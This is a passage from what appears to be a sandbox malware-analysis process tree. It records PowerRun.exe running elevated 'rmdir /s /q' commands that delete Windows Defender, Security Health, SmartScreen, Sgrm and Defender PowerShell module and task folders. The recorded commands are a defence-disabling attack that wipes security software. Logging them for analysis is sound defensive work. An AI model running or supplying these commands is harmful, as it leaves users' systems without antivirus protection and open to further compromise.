                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\ProgramData\Microsoft\Windows Security Health" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c rmdir "C:\ProgramData\Microsoft\Windows Security Health" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PowerRun cmd.exe /c rmdir "C:\ProgramData\Microsoft\Storage Health" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\ProgramData\Microsoft\Storage Health" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2588
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\ProgramData\Microsoft\Storage Health" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c rmdir "C:\ProgramData\Microsoft\Storage Health" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5804
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PowerRun cmd.exe /c rmdir "C:\WINDOWS\System32\drivers\wd" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5244
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\WINDOWS\System32\drivers\wd" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\WINDOWS\System32\drivers\wd" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c rmdir "C:\WINDOWS\System32\drivers\wd" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PowerRun cmd.exe /c rmdir "C:\Program Files (x86)\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Program Files (x86)\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5324
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Program Files (x86)\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c rmdir "C:\Program Files (x86)\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PowerRun cmd.exe /c rmdir "C:\Program Files\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Program Files\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5580
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Program Files\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5428
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c rmdir "C:\Program Files\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5600
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PowerRun cmd.exe /c rmdir "C:\Windows\System32\SecurityHealth" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\System32\SecurityHealth" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\System32\SecurityHealth" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5696
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\System32\SecurityHealth" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5980
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5736
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PowerRun cmd.exe /c rmdir "C:\Windows\System32\WebThreatDefSvc" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5296
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\System32\WebThreatDefSvc" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\System32\WebThreatDefSvc" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\System32\WebThreatDefSvc" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1748
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PowerRun cmd.exe /c rmdir "C:\Windows\System32\Sgrm" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\System32\Sgrm" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\System32\Sgrm" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\System32\Sgrm" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PowerRun cmd.exe /c rmdir "C:\Windows\Containers\WindowsDefenderApplicationGuard.wim" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\Containers\WindowsDefenderApplicationGuard.wim" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\Containers\WindowsDefenderApplicationGuard.wim" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\Containers\WindowsDefenderApplicationGuard.wim" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5428
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PowerRun cmd.exe /c rmdir "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5260
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4732
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3252
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PowerRun cmd.exe /c rmdir "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DefenderPerformance" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DefenderPerformance" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DefenderPerformance" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5152
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DefenderPerformance" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5876
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PowerRun cmd.exe /c rmdir "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4120
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1244
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PowerRun cmd.exe /c rmdir "C:\Windows\System32\Tasks_Migrated\Microsoft\Windows\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\System32\Tasks_Migrated\Microsoft\Windows\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\System32\Tasks_Migrated\Microsoft\Windows\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\System32\Tasks_Migrated\Microsoft\Windows\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PowerRun cmd.exe /c rmdir "C:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5700
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1900
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5900
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PowerRun cmd.exe /c rmdir "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
